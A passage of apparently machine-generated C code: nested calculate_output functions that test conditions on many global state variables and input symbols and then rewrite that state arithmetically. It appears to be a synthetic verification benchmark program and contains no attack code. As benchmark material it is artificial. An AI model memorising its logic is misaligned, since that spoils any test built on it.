if((((((((((221 < a169) && (371 >= a169)) && (input == inputs[1] && cf==1 )) && a120 == a171[0]) && a27 == a135[6]) && a130 == a148[0]) && a111 == 10) && (89 == a156[1])) && ((a70 <= -29 && a58 <= -32) && a43 == 15))) {
cf = 0;
a70 = ((((((a70 * a169) % 14999) % 78) + 171) * 1) + 0);
a146 = 33 ;
a130 = a148[(a43 + -13)];
a156 = a107;
a120 = a171[((a43 / a17) - 1)];
a66 = (a43 - 12);
a10 = a199;
a58 = (((((((a169 * a169) % 14999) / 5) + -20540) / 5) % 74) + 236);
a93 = 34 ;
a12 = (((((((a12 * a58) % 14999) % 30) + -31) - 23451) * 1) + 23450);
a85 = a72[(a66 + -1)];
a27 = a135[(a17 - 2)];
a111 = ((a43 - a43) - -12);
a166 = (a17 + 3);
a19 = a57;
a17 = (a166 - 1);
//printf("%d\n", 22);
}
}
int calculate_outputm80(int input) {
if(((((23 == a10[3]) && (a43 == 16 && (input == inputs[2] && ( cf==1 && a27 == a135[6])))) && a120 == a171[0]) && ((a58 <= -32 && (a85 == a72[0] && (((221 < a169) && (371 >= a169)) && a146 == 33))) && a173 == 33))) {
cf = 0;
if((((76 == a44[3]) || (105 == a156[5])) && a157 == 8)) {
a85 = a72[((a17 / a17) + 1)];
a146 = 34 ;
a12 = ((((((a12 * a70) % 14999) % 30) + -31) - -1) * 1);
a43 = (a111 - -2);
a27 = a135[(a66 + -1)];
a157 = (a66 + 13);
}else {
a25 = (((((a70 * a58) % 14999) - 18652) - 10846) - 393);
a169 = ((((((a169 * a58) % 14999) % 25) + 195) * 1) + 0);
a146 = 34 ;
a12 = (((((((a12 * a25) % 14999) + 10741) - -1872) - 24709) % 30) + -30);
}//printf("%d\n", 19);
}
if((((((92 == a180[5]) && ((a66 == 1 && a173 == 33) && a58 <= -32)) && input == inputs[9]) && a111 == 10) && (a12 <= -119 && ((( cf==1 && ((221 < a169) && (371 >= a169))) && a27 == a135[6]) && a43 == 16)))) {
cf = 0;
a93 = 34 ;
a27 = a135[(a43 - 12)];
a182 = a137[(a17 + 1)];
a66 = ((a111 - a111) + 3);
a166 = ((a111 + a111) + -16);
a156 = a107;
a17 = (a111 + -4);
a85 = a72[((a111 * a111) + -98)];
a173 = 34 ;
a12 = ((((((a12 * a169) % 14999) + -2547) + 17294) % 30) - 30);
a70 = (((((((a70 * a58) % 14999) % 78) - -147) * 10) / 9) - 13);
a180 = a149;
a10 = a199;
a58 = ((((((a58 * a12) % 14999) - -12851) + 1634) % 74) - -151);
a120 = a171[(a111 + -8)];
a146 = 34 ;
a130 = a148[(a111 + -8)];
a111 = ((a66 + a66) + 6);
//printf("%d\n", 22);
}
if(((((a43 == 16 && (((221 < a169) && (371 >= a169)) && cf==1 )) && a27 == a135[6]) && (89 == a156[1])) && ((((a12 <= -119 && (a146 == 33 && a58 <= -32)) && input == inputs[4]) && a66 == 1) && a93 == 33))) {
cf = 0;
a117 = a38[(a111 - 4)];
a169 = (((((a169 * a58) % 14999) / 5) - 14431) * 1);
//printf("%d\n", 22);
}
}
int calculate_outputm28(int input) {
if(((a120 == a171[0] && (a70 <= -29 && (a66 == 1 && a173 == 33))) && ((a85 == a72[0] && (a43 == 9 && cf==1 )) && a17 == 4))) {
calculate_outputm75(input);
}
if(((a120 == a171[0] && (a85 == a72[0] && a70 <= -29)) && ((a173 == 33 && (a130 == a148[0] && (a43 == 10 && cf==1 ))) && a66 == 1))) {
calculate_outputm76(input);
}
if((((a70 <= -29 && (a93 == 33 && (a43 == 13 && cf==1 ))) && (89 == a156[1])) && ((a58 <= -32 && a111 == 10) && (92 == a180[5])))) {
calculate_outputm77(input);
}
if(((a85 == a72[0] && ((a130 == a148[0] && ( cf==1 && a43 == 14)) && a17 == 4)) && (((92 == a180[5]) && a111 == 10) && a66 == 1))) {
calculate_outputm78(input);
}
if(((a12 <= -119 && (a85 == a72[0] && ((a130 == a148[0] && (a43 == 15 && cf==1 )) && a120 == a171[0]))) && ((89 == a156[1]) && a17 == 4))) {
calculate_outputm79(input);
}
if(((a111 == 10 && (a70 <= -29 && ( cf==1 && a43 == 16))) && (((a66 == 1 && a93 == 33) && a120 == a171[0]) && a146 == 33))) {
calculate_outputm80(input);
}
}
int calculate_outputm81(int input) {
if(((a146 == 33 && (a173 == 33 && (a12 <= -119 && ((23 == a10[3]) && ((a68 == 32 && cf==1 ) && input == inputs[4]))))) && ((a111 == 10 && (a27 == a135[6] && a66 == 1)) && 371 < a169))) {
cf = 0;
a156 = a107;
a166 = (a111 - 5);
a93 = 34 ;
a12 = (((((((a12 * a169) % 14999) + 1998) % 30) - 30) + 15065) + -15065);
a120 = a171[(a66 + 1)];
a111 = (a66 - -11);
a180 = a149;
a43 = (a66 - -12);
a27 = a135[(a17 + -2)];
a10 = a199;
a70 = (((((((a70 * a169) % 14999) / 5) / 5) - -14155) % 78) - -152);
a17 = (a66 - -5);
a130 = a148[(a66 - -1)];
a146 = 34 ;
a58 = ((((((((a58 * a169) % 14999) % 74) - -197) / 5) * 5) % 74) - -160);
a66 = (a166 - 2);
//printf("%d\n", 22);
}
if(((a146 == 33 && (a130 == a148[0] && ((((( cf==1 && input == inputs[6]) && a27 == a135[6]) && a12 <= -119) && (92 == a180[5])) && a85 == a72[0]))) && (((89 == a156[1]) && a68 == 32) && 371 < a169))) {
cf = 0;
a93 = 34 ;
a27 = a135[(a111 + -8)];
a43 = (a66 - -12);
a12 = ((((((((a12 * a58) % 14999) % 30) - 54) * 5) * 5) % 30) + -13);
a70 = ((((((((a70 * a169) % 14999) % 78) + 172) + 1) * 5) % 78) + 158);
a130 = a148[(a111 + -8)];
a166 = (a111 - 5);
a66 = (a17 - 1);
a120 = a171[(a111 - 8)];
a10 = a199;
a180 = a149;
a17 = (a111 + -4);
a156 = a107;
a146 = 34 ;
a58 = (((((((a12 * a12) % 74) - -173) + 9) * 5) % 74) + 188);
a111 = (a43 - 1);
//printf("%d\n", 22);
}
}
int calculate_outputm29(int input) {
if(((a130 == a148[0] && (89 == a156[1])) && (a173 == 33 && ((((a68 == 32 && cf==1 ) && a12 <= -119) && a146 == 33) && a70 <= -29)))) {
calculate_outputm81(input);
}
}
int calculate_outputm82(int input) {
if((((a120 == a171[2] && (( cf==1 && a168 == 9) && input == inputs[6])) && a173 == 34) && (((a66 == 3 && (a27 == a135[7] && (a68 == 34 && (105 == a156[5])))) && ((93 < a70) && (251 >= a70))) && a17 == 6))) {
cf = 0;
a66 = ((a168 * a168) - 80);
a120 = a171[(a168 + -9)];
a146 = 33 ;
a156 = a103;
a173 = 33 ;
a10 = a113;
a27 = a135[(a111 - 12)];
a43 = a168;
a25 = (((((((a58 * a12) % 21) + -90) - 1) * 5) % 21) + -79);
a70 = (((((a70 * a25) + 31237) * 10) / -9) - 1418);
a58 = (((((a12 * a12) + -3975) * 5) * 10) / 9);
a130 = a148[((a17 + a17) - 12)];
a111 = (a66 - -9);
a17 = ((a168 / a168) + 3);
a12 = (((((a12 * a70) % 14999) + -19551) * 1) - 7444);
a180 = a165;
a85 = a72[(a168 - 9)];
//printf("%d\n", 23);
}
if(((a17 == 6 && (((((123 < a58) && (272 >= a58)) && input == inputs[5]) && a168 == 9) && a146 == 34)) && (a130 == a148[2] && (a111 == 12 && (a85 == a72[2] && (a68 == 34 && (a27 == a135[7] && cf==1 ))))))) {
cf = 0;
if((90 == a90[2])) {
a166 = (a17 + 2);
a92 = 32 ;
a27 = a135[((a111 * a168) - 104)];
}else {
a43 = (a66 + 6);
a25 = (((((((a58 * a58) % 14999) % 21) + -100) + 29474) - -16) - 29486);
a173 = 33 ;
a120 = a171[(a43 - 9)];
a12 = (((((a25 * a58) % 14999) - 2595) + 11082) + -11916);
a27 = a135[(a43 - 9)];
a70 = (((((a70 * a12) % 14999) - -26630) - -687) + -38510);
a130 = a148[(a111 + -12)];
a180 = a165;
a85 = a72[((a168 + a168) - 18)];
a66 = ((a17 * a43) - 53);
a156 = a103;
a146 = 33 ;
a17 = (a168 - 5);
a10 = a113;
a111 = (a43 + 1);
a58 = (((((a58 * a12) % 14999) + -2021) - -28565) - 33251);
}//printf("%d\n", 25);
}
if((((((a146 == 34 && a66 == 3) && input == inputs[4]) && a130 == a148[2]) && a111 == 12) && ((a173 == 34 && ((( cf==1 && a27 == a135[7]) && a68 == 34) && a168 == 9)) && a120 == a171[2]))) {
cf = 0;
a146 = 32 ;
a166 = (a168 + -1);
a85 = a72[(a66 - 2)];
a180 = a55;
a16 = a140[(a66 + 4)];
a27 = a135[(a66 - 1)];
//printf("%d\n", 24);
}
}
int calculate_outputm30(int input) {
if(((a173 == 34 && ((a68 == 34 && cf==1 ) && (36 == a10[4]))) && (((93 < a70) && (251 >= a70)) && ((105 == a156[5]) && (((-62 < a12) && (-1 >= a12)) && a130 == a148[2]))))) {
calculate_outputm82(input);
}
}
int calculate_outputm83(int input) {
if(((a17 == 6 && (a111 == 12 && (105 == a156[5]))) && (a120 == a171[2] && ((((((a27 == a135[7] && cf==1 ) && a168 == 10) && a85 == a72[2]) && input == inputs[3]) && ((-58 < a51) && (37 >= a51))) && ((93 < a70) && (251 >= a70)))))) {
cf = 0;
if((105 == a156[5])) {
a130 = a148[7];
a93 = 36 ;
a27 = a135[(a17 - 6)];
a43 = (a17 + 9);
a111 = 17;
a146 = 32 ;
a180 = a149;
a85 = a72[6];
a120 = a171[2];
a158 = ((((((a12 * a51) + 3827) + -14210) + -2805) * -1) / 10);
a70 = ((((((a70 % 78) - -167) * 9) / 10) + 15067) + -15042);
a12 = (((((a12 % 30) - 11) + 5) - 11713) - -11699);
a173 = 36 ;
a58 = (((a58 + -8315) - -8165) - 2);
a66 = 5;
a10 = a128;
a156 = a86;
a17 = 6;
}else {
a168 = (a66 + 12);
a166 = ((a17 - a111) + 13);
}//printf("%d\n", 20);
}
if((((100 == a180[1]) && ((((-62 < a12) && (-1 >= a12)) && ((a111 == 12 && (input == inputs[1] && ((((-58 < a51) && (37 >= a51)) && (a27 == a135[7] && cf==1 )) && a168 == 10))) && ((93 < a70) && (251 >= a70)))) && a66 == 3)) && (105 == a156[5]))) {
cf = 0;
a173 = 36 ;
a185 = a129;
a70 = ((((a70 * 10) / 3) * 5) * 5);
a130 = a148[3];
a120 = a171[7];
a61 = a172[(a66 - -4)];
a10 = a199;
a156 = a86;
a17 = 7;
a12 = (((((a12 * 5) % 30) + -19) * 10) / 9);
a85 = a72[3];
a27 = a135[(a168 + -7)];
a180 = a55;
a58 = ((((a58 / 5) * 10) / 9) - 29);
a93 = 35 ;
a111 = 12;
a66 = 4;
//printf("%d\n", 22);
}
if(((a120 == a171[2] && (100 == a180[1])) && (((-62 < a12) && (-1 >= a12)) && ((105 == a156[5]) && (a130 == a148[2] && (a173 == 34 && (input == inputs[7] && (a27 == a135[7] && (( cf==1 && ((-58 < a51) && (37 >= a51))) && a168 == 10))))))))) {
cf = 0;
a182 = a137[(a66 - 3)];
a166 = ((a17 - a111) - -7);
a27 = a135[((a168 / a166) - 6)];
//printf("%d\n", 23);
}
if((((a146 == 34 && ((-58 < a51) && (37 >= a51))) && a66 == 3) && ((((123 < a58) && (272 >= a58)) && (a17 == 6 && (a120 == a171[2] && (a168 == 10 && (( cf==1 && a27 == a135[7]) && input == inputs[0]))))) && a93 == 34))) {
cf = 0;
if(((a92 == 34 || a51 <= -168) || a166 == 4)) {
a43 = a168;
a180 = a149;
a27 = a135[((a111 - a17) - 6)];
a70 = (((((a70 % 60) + 29) + -51) + 7425) - 7421);
a58 = ((((a58 % 74) - -128) / 5) + 147);
a16 = a140[(a111 - 8)];
a146 = 35 ;
a120 = a171[1];
a130 = a148[3];
a173 = 32 ;
a10 = a199;
a12 = (((((a12 % 30) - 20) * 9) / 10) / 5);
a17 = 7;
a85 = a72[3];
a156 = a107;
a66 = 6;
a93 = 32 ;
a111 = 14;
}else {
a166 = (a168 - 5);
a43 = (a111 + -2);
a27 = a135[(a43 - 8)];
}//printf("%d\n", 22);
}
if((((a66 == 3 && ((93 < a70) && (251 >= a70))) && a27 == a135[7]) && (a173 == 34 && ((((-58 < a51) && (37 >= a51)) && ((a111 == 12 && ((input == inputs[4] && cf==1 ) && a168 == 10)) && a85 == a72[2])) && a146 == 34)))) {
cf = 0;
a174 = (a17 + 3);
a168 = (a17 - -6);
//printf("%d\n", 25);
}
if((((a111 == 12 && a27 == a135[7]) && a85 == a72[2]) && (((93 < a70) && (251 >= a70)) && (a173 == 34 && (input == inputs[6] && (((a168 == 10 && (((-58 < a51) && (37 >= a51)) && cf==1 )) && a66 == 3) && a120 == a171[2])))))) {
cf = 0;
if((a16 == 12 && a117 == a38[2])) {
a168 = ((a111 + a17) + -4);
a98 = (((((a51 * a70) % 45) - 18) + 16215) - 16214);
}else {
a173 = 36 ;
a85 = a72[5];
a146 = 34 ;
a156 = a107;
a58 = (((((a58 * 5) / 5) + -25674) * -1) / 10);
a130 = a148[2];
a12 = (((((a12 - 1222) * 10) / 9) * 10) / 9);
a66 = 1;
a117 = a38[(a17 + -5)];
a180 = a149;
a44 = a198;
a111 = 16;
a70 = (((a70 - -19392) + -27433) * 3);
a10 = a199;
a93 = 36 ;
a120 = a171[5];
a27 = a135[((a17 + a17) + -11)];
a17 = 6;
}//printf("%d\n", 25);
}
if(((a17 == 6 && (((a85 == a72[2] && a27 == a135[7]) && (105 == a156[5])) && a146 == 34)) && (input == inputs[8] && ((36 == a10[4]) && (((93 < a70) && (251 >= a70)) && (a168 == 10 && ( cf==1 && ((-58 < a51) && (37 >= a51))))))))) {
cf = 0;
a85 = a72[3];
a10 = a199;
a43 = a168;
a70 = (((((a70 % 78) + 107) * 5) % 78) - -163);
a180 = a165;
a12 = (((((a12 / 5) - -12570) + -12206) * -2) / 10);
a17 = 5;
a27 = a135[(a111 + -6)];
a169 = (((((a51 * a58) % 74) + 296) * 1) - -1);
a130 = a148[5];
a66 = 4;
a58 = (((a58 * 5) * 5) + 19077);
a93 = 35 ;
a156 = a86;
a173 = 34 ;
a120 = a171[4];
a146 = 36 ;
a111 = 17;
//printf("%d\n", 22);
}
if(((a93 == 34 && a27 == a135[7]) && (a17 == 6 && (((123 < a58) && (272 >= a58)) && (a146 == 34 && (a173 == 34 && ((((a168 == 10 && cf==1 ) && input == inputs[9]) && (100 == a180[1])) && ((-58 < a51) && (37 >= a51))))))))) {
cf = 0;
if((!(a111 == 13) && (a173 == 36 && a117 == 6))) {
a146 = 34 ;
a166 = (a111 - 5);
a19 = a57;
a27 = a135[((a66 + a168) + -11)];
}else {
a16 = a140[((a111 - a168) - 2)];
a27 = a135[(a17 - 6)];
a43 = (a17 + 8);
}//printf("%d\n", 25);
}
if((((((-62 < a12) && (-1 >= a12)) && (a168 == 10 && (a17 == 6 && a93 == 34))) && ((123 < a58) && (272 >= a58))) && ((a66 == 3 && (((-58 < a51) && (37 >= a51)) && (input == inputs[5] && ( cf==1 && a27 == a135[7])))) && ((93 < a70) && (251 >= a70))))) {
cf = 0;
if((!(a174 == 8) && a157 == 14)) {
a169 = (((((a70 * a12) - -18868) * 1) - -4153) + -30674);
a27 = a135[((a66 / a168) + 6)];
a70 = ((((a70 - 6459) % 60) + 50) - -15);
a17 = 5;
a120 = a171[7];
a117 = a38[(a66 - -3)];
a173 = 32 ;
a146 = 32 ;
a85 = a72[6];
a93 = 36 ;
a58 = (((((a58 * 5) * 5) - -12055) % 77) - -5);
a130 = a148[2];
a66 = 8;
a180 = a55;
a156 = a107;
a10 = a199;
a111 = 11;
a12 = ((((a12 * 5) / 5) * -1) / 10);
}else {
a120 = a171[3];
a146 = 35 ;
a27 = a135[(a17 + -4)];
a166 = (a168 + -8);
a169 = (((((a12 * a58) - 9736) + -2771) + 40351) + -37016);
}//printf("%d\n", 22);
}
if(((a17 == 6 && ((((-62 < a12) && (-1 >= a12)) && ((105 == a156[5]) && a120 == a171[2])) && a168 == 10)) && (((93 < a70) && (251 >= a70)) && (input == inputs[2] && (a93 == 34 && ((a27 == a135[7] && cf==1 ) && ((-58 < a51) && (37 >= a51)))))))) {
cf = 0;
if(a130 == 15) {
a166 = ((a168 / a66) + 4);
a168 = (a66 - -12);
}else {
a27 = a135[((a17 * a111) + -68)];
a92 = 32 ;
a166 = ((a17 * a66) - 10);
}//printf("%d\n", 24);
}
}
int calculate_outputm31(int input) {
if((((105 == a156[5]) && (((((-58 < a51) && (37 >= a51)) && cf==1 ) && a120 == a171[2]) && a111 == 12)) && ((a17 == 6 && a85 == a72[2]) && (100 == a180[1])))) {
calculate_outputm83(input);
}
}
int calculate_outputm84(int input) {
if(((((105 == a156[5]) && ((100 == a180[1]) && a111 == 12)) && a173 == 34) && ((((-62 < a12) && (-1 >= a12)) && ((input == inputs[2] && (a168 == 12 && ( cf==1 && a174 == 9))) && a27 == a135[7])) && ((123 < a58) && (272 >= a58))))) {
cf = 0;
a43 = (a111 - 1);
a51 = (((((a12 * a70) * 1) % 54) - 81) - 12);
a27 = a135[(a17 + -6)];
a66 = ((a111 / a17) - 1);
a85 = a72[(a168 - 12)];
a111 = ((a17 * a174) + -44);
a173 = 33 ;
a156 = a103;
a120 = a171[(a168 - 12)];
a146 = 33 ;
a10 = a113;
a17 = (a168 - 8);
a12 = ((((a12 * a70) - 14686) * 1) + -2);
a93 = 33 ;
a130 = a148[(a43 + -11)];
a58 = ((((((a58 * a70) % 14999) - 7419) + -5139) / 5) - 20046);
a70 = (((((a70 * a51) % 14999) + -12621) / 5) - 6616);
//printf("%d\n", 22);
}
if((((a85 == a72[2] && (((36 == a10[4]) && (input == inputs[8] && ((123 < a58) && (272 >= a58)))) && a111 == 12)) && ((-62 < a12) && (-1 >= a12))) && ((a27 == a135[7] && (a174 == 9 && ( cf==1 && a168 == 12))) && a93 == 34))) {
cf = 0;
a156 = a103;
a169 = ((((((a12 * a12) + 18324) % 74) + 281) - 3270) + 3253);
a173 = 33 ;
a58 = ((((a58 * a12) + -8536) / 5) - 19802);
a43 = ((a111 / a66) - -9);
a85 = a72[((a174 - a43) + 4)];
a93 = 33 ;
a27 = a135[(a43 - 7)];
a66 = (a168 - 9);
a10 = a113;
a111 = (a43 + -3);
a120 = a171[((a43 - a168) + -1)];
a70 = (((((a12 * a12) / 5) - -26931) * -1) / 10);
a180 = a165;
a17 = ((a174 - a43) - -8);
a146 = 33 ;
a130 = a148[((a168 / a168) + -1)];
a12 = (((((a12 * a70) % 14999) - 28126) / 5) * 5);
//printf("%d\n", 25);
}
if(((((a168 == 12 && (a111 == 12 && ((a174 == 9 && cf==1 ) && input == inputs[3]))) && a146 == 34) && a66 == 3) && (a173 == 34 && (a27 == a135[7] && (((93 < a70) && (251 >= a70)) && a130 == a148[2]))))) {
cf = 0;
a173 = 32 ;
a93 = 32 ;
a17 = (a66 + 2);
a111 = (a17 + 6);
a85 = a72[((a174 / a168) + 1)];
a180 = a55;
a10 = a128;
a156 = a86;
a27 = a135[(a168 + -11)];
a120 = a171[((a168 - a17) - 6)];
a66 = (a168 + -10);
a44 = a37;
a58 = ((((((a58 * a70) % 14999) % 77) + -12) + -3149) + 3147);
a130 = a148[(a17 + -4)];
a146 = 32 ;
a70 = (((((a70 * a12) * 1) / 5) % 60) - -43);
a185 = a60;
//printf("%d\n", 24);
}
}
int calculate_outputm85(int input) {
if(((((-62 < a12) && (-1 >= a12)) && (a120 == a171[2] && a93 == 34)) && (a85 == a72[2] && (((a27 == a135[7] && (a174 == 12 && ((input == inputs[2] && cf==1 ) && a168 == 12))) && (105 == a156[5])) && (36 == a10[4]))))) {
cf = 0;
a173 = 32 ;
a44 = a37;
a10 = a128;
a120 = a171[((a66 + a66) + -5)];
a111 = (a174 + -1);
a12 = ((((((a70 * a70) % 14999) + -21946) + -1468) % 28) - 71);
a146 = 32 ;
a180 = a55;
a58 = ((((((((a58 * a70) % 14999) % 77) + 29) * 5) * 5) % 77) - 2);
a85 = a72[((a66 - a174) - -10)];
a27 = a135[(a168 - 11)];
a130 = a148[(a168 + -11)];
a93 = 32 ;
a66 = (a17 - 3);
a185 = a108;
a156 = a86;
a70 = (((((a70 * a12) % 60) + 39) - -18) - -5);
//printf("%d\n", 20);
}
}
int calculate_outputm86(int input) {
if((((((( cf==1 && a168 == 12) && a174 == 15) && ((123 < a58) && (272 >= a58))) && a27 == a135[7]) && a111 == 12) && ((((a17 == 6 && input == inputs[3]) && a66 == 3) && a130 == a148[2]) && a85 == a72[2]))) {
cf = 0;
a168 = ((a66 * a111) - 23);
a185 = a108;
//printf("%d\n", 23);
}
if(((a174 == 15 && (input == inputs[7] && (a27 == a135[7] && ( cf==1 && a168 == 12)))) && (((((93 < a70) && (251 >= a70)) && ((a146 == 34 && a173 == 34) && a17 == 6)) && a111 == 12) && a120 == a171[2]))) {
cf = 0;
a157 = ((a66 / a111) - -9);
a146 = 33 ;
a70 = ((((((a58 * a58) % 14999) / 5) + 18905) * 1) + -46819);
a173 = 33 ;
a156 = a103;
a10 = a113;
a66 = ((a168 - a111) + 1);
a85 = a72[(a17 + -6)];
a180 = a165;
a130 = a148[(a174 + -15)];
a120 = a171[(a174 + -15)];
a12 = ((((((a12 * a70) % 14999) - 26964) + 28119) * 10) / -9);
a43 = (a66 + 11);
a93 = 33 ;
a27 = a135[((a66 * a43) + -12)];
a17 = (a66 - -3);
a58 = (((((a58 * a70) % 14999) + -11315) - 2536) * 1);
a111 = (a66 - -9);
//printf("%d\n", 20);
}
}
int calculate_outputm32(int input) {
if((((a85 == a72[2] && ( cf==1 && a174 == 9)) && a93 == 34) && ((a66 == 3 && (a17 == 6 && (100 == a180[1]))) && a111 == 12))) {
calculate_outputm84(input);
}
if(((a146 == 34 && (a93 == 34 && (105 == a156[5]))) && (((123 < a58) && (272 >= a58)) && (a130 == a148[2] && ((a174 == 12 && cf==1 ) && ((93 < a70) && (251 >= a70))))))) {
calculate_outputm85(input);
}
if((( cf==1 && a174 == 15) && (((((105 == a156[5]) && (a17 == 6 && ((-62 < a12) && (-1 >= a12)))) && a120 == a171[2]) && a130 == a148[2]) && a111 == 12))) {
calculate_outputm86(input);
}
}
int calculate_outputm87(int input) {
if(((((((((105 == a156[5]) && ((80 == a185[0]) && ( cf==1 && a168 == 13))) && a27 == a135[7]) && input == inputs[8]) && a120 == a171[2]) && a93 == 34) && ((-62 < a12) && (-1 >= a12))) && ((100 == a180[1]) && a66 == 3))) {
cf = 0;
a51 = (((((((a70 * a58) % 14999) % 54) - 129) + -13) - -17003) - 16996);
a150 = a18;
a173 = 33 ;
a27 = a135[(a17 + -1)];
//printf("%d\n", 19);
}
}
int calculate_outputm33(int input) {
if((((a173 == 34 && (a120 == a171[2] && a66 == 3)) && a85 == a72[2]) && ((a130 == a148[2] && ((80 == a185[0]) && cf==1 )) && (36 == a10[4])))) {
calculate_outputm87(input);
}
}
int calculate_outputm88(int input) {
if((((((((-64 < a98) && (27 >= a98)) && (a173 == 34 && (a17 == 6 && ((93 < a70) && (251 >= a70))))) && a168 == 14) && ((-62 < a12) && (-1 >= a12))) && a93 == 34) && ((a27 == a135[7] && ( cf==1 && input == inputs[2])) && a66 == 3))) {
cf = 0;
if((!(a111 == 14) && ((98 == a180[5]) || (((84 == a90[2]) && !(a120 == a171[3])) || !(a130 == a148[0]))))) {
a68 = 34 ;
a168 = (a111 + -3);
}else {
a85 = a72[2];
a146 = 35 ;
a17 = 8;
a130 = a148[5];
a10 = a199;
a44 = a37;
a120 = a171[3];
a180 = a165;
a27 = a135[(a66 - 2)];
a93 = 35 ;
a70 = ((((a70 - 11782) * 10) / 9) + -11836);
a173 = 34 ;
a185 = a60;
a111 = 14;
a58 = ((((a58 * -3) / 10) * 5) * 5);
a156 = a103;
a66 = 7;
}//printf("%d\n", 24);
}
if(((a111 == 12 && (a93 == 34 && (((a168 == 14 && a85 == a72[2]) && ((-64 < a98) && (27 >= a98))) && ((93 < a70) && (251 >= a70))))) && (((-62 < a12) && (-1 >= a12)) && ((105 == a156[5]) && (input == inputs[1] && ( cf==1 && a27 == a135[7])))))) {
cf = 0;
if((a17 == 10 && !(a173 == 35))) {
a120 = a171[2];
a70 = ((((a70 % 60) - -6) * 5) / 5);
a85 = a72[4];
a146 = 34 ;
a17 = 11;
a10 = a128;
a68 = 32 ;
a27 = a135[(a66 + 3)];
a169 = ((((a98 * a58) + 20012) + 1743) * 1);
a173 = 32 ;
a66 = 4;
a156 = a86;
a130 = a148[1];
a180 = a149;
a111 = 14;
a93 = 32 ;
a12 = ((((a12 - -12374) * 10) / 9) + 13056);
a58 = ((((a58 + -7898) + 7747) + 12415) - 12415);
}else {
a166 = (a66 - 1);
a27 = a135[(a66 - 1)];
a146 = 32 ;
a120 = a171[7];
a169 = ((((a98 * a98) * 5) * 1) - 21271);
}//printf("%d\n", 23);
}
if(((a130 == a148[2] && (a173 == 34 && ((93 < a70) && (251 >= a70)))) && (a168 == 14 && (a17 == 6 && (((-64 < a98) && (27 >= a98)) && (a111 == 12 && (a120 == a171[2] && (a27 == a135[7] && (input == inputs[8] && cf==1 ))))))))) {
cf = 0;
a66 = 4;
a27 = a135[a17];
a156 = a86;
a173 = 34 ;
a120 = a171[4];
a58 = ((((a58 * 5) % 74) - -142) + -1);
a130 = a148[6];
a93 = 32 ;
a146 = 32 ;
a85 = a72[1];
a10 = a128;
a169 = ((((((a70 * a98) % 74) - -296) * 5) % 74) - -249);
a70 = (((a70 + -27551) * 1) - -54485);
a43 = (a111 + -2);
a12 = ((((a12 % 28) - 72) + 9) * 1);
a17 = 7;
a180 = a165;
a111 = 12;
//printf("%d\n", 20);
}
if(((a85 == a72[2] && ((a130 == a148[2] && (( cf==1 && a27 == a135[7]) && a168 == 14)) && a111 == 12)) && ((105 == a156[5]) && ((((-64 < a98) && (27 >= a98)) && (input == inputs[4] && ((123 < a58) && (272 >= a58)))) && (100 == a180[1]))))) {
cf = 0;
if(((!(a157 == 14) || (36 == a10[4])) && (26 == a10[0]))) {
a70 = ((((((a70 % 78) - -164) * 9) / 10) * 10) / 9);
a68 = 32 ;
a66 = 7;
a93 = 32 ;
a10 = a199;
a111 = 14;
a169 = ((((a98 * a58) + 19928) - -9) - -1356);
a146 = 35 ;
a27 = a135[(a168 - 8)];
a17 = 11;
a156 = a107;
a173 = 32 ;
a85 = a72[1];
a120 = a171[7];
a12 = (((a12 / 5) + 6017) - 6101);
a180 = a55;
a130 = a148[7];
a58 = ((((((a58 % 74) + 150) * 10) / 9) - 14632) - -14614);
}else {
a43 = ((a66 - a111) + 24);
a169 = ((((((a12 * a12) * 5) + 8038) / 5) % 74) + 279);
a85 = a72[3];
a156 = a86;
a17 = 8;
a10 = a199;
a58 = (((((((a58 % 74) - -135) * 10) / 9) * 5) % 74) - -196);
a70 = (((((a70 % 78) - -127) * 9) / 10) - 10);
a66 = 2;
a120 = a171[5];
a111 = 17;
a93 = 34 ;
a27 = a135[(a66 - -5)];
a146 = 34 ;
a130 = a148[1];
a12 = (((((a12 / 5) + -3) * 5) % 30) + -1);
}//printf("%d\n", 22);
}
if(((a173 == 34 && ((123 < a58) && (272 >= a58))) && ((36 == a10[4]) && (a93 == 34 && (((((( cf==1 && a27 == a135[7]) && ((-64 < a98) && (27 >= a98))) && input == inputs[3]) && a168 == 14) && a66 == 3) && a17 == 6))))) {
cf = 0;
a146 = 36 ;
a173 = 32 ;
a51 = (((((a12 * a58) * 1) - 11957) % 54) + -96);
a120 = a171[2];
a111 = 11;
a58 = (((a58 - -16540) * 1) * 1);
a70 = (((((a70 - -13429) / 5) * 5) % 60) - 20);
a156 = a107;
a27 = a135[(a17 - a17)];
a43 = (a17 + 5);
a93 = 32 ;
a130 = a148[2];
a66 = 5;
a85 = a72[3];
a10 = a128;
a12 = ((((a12 + -15889) * 1) % 30) - 7);
a17 = 8;
//printf("%d\n", 23);
}
if((((100 == a180[1]) && (((-64 < a98) && (27 >= a98)) && (105 == a156[5]))) && (((a17 == 6 && (((123 < a58) && (272 >= a58)) && (a168 == 14 && (input == inputs[0] && (a27 == a135[7] && cf==1 ))))) && a120 == a171[2]) && ((93 < a70) && (251 >= a70))))) {
cf = 0;
a166 = (a111 + -11);
a27 = a135[(a17 - 2)];
a182 = a137[(a166 - -2)];
//printf("%d\n", 25);
}
if(((a17 == 6 && (((a27 == a135[7] && (a168 == 14 && cf==1 )) && ((-64 < a98) && (27 >= a98))) && input == inputs[6])) && ((105 == a156[5]) && (((a85 == a72[2] && a111 == 12) && a146 == 34) && ((-62 < a12) && (-1 >= a12)))))) {
cf = 0;
a130 = a148[6];
a156 = a86;
a43 = ((a17 / a111) + 16);
a93 = 35 ;
a169 = ((((((a98 * a70) % 74) - -295) - -1718) + -17487) - -15771);
a173 = 34 ;
a111 = 11;
a27 = a135[((a111 + a66) + -7)];
a120 = a171[1];
a10 = a199;
a17 = 10;
a12 = (((((a12 % 28) + -89) - -10) * 9) / 10);
a146 = 35 ;
a180 = a55;
a70 = (((((a70 * 5) % 78) - -133) * 9) / 10);
a85 = a72[1];
a58 = ((((a58 - -24496) * 1) * 10) / 9);
a66 = 3;
//printf("%d\n", 24);
}
if(((((a85 == a72[2] && a111 == 12) && a27 == a135[7]) && ((123 < a58) && (272 >= a58))) && (((-62 < a12) && (-1 >= a12)) && ((a173 == 34 && (((-64 < a98) && (27 >= a98)) && ((input == inputs[9] && cf==1 ) && a168 == 14))) && a17 == 6)))) {
cf = 0;
a10 = a128;
a70 = (((a70 * 5) - -1311) / 5);
a43 = a168;
a130 = a148[2];
a146 = 35 ;
a173 = 35 ;
a85 = a72[3];
a66 = 4;
a169 = (((((((a58 * a58) % 14999) % 74) - -247) - 4) - -27084) + -27031);
a156 = a86;
a27 = a135[((a17 / a111) + 6)];
a17 = 11;
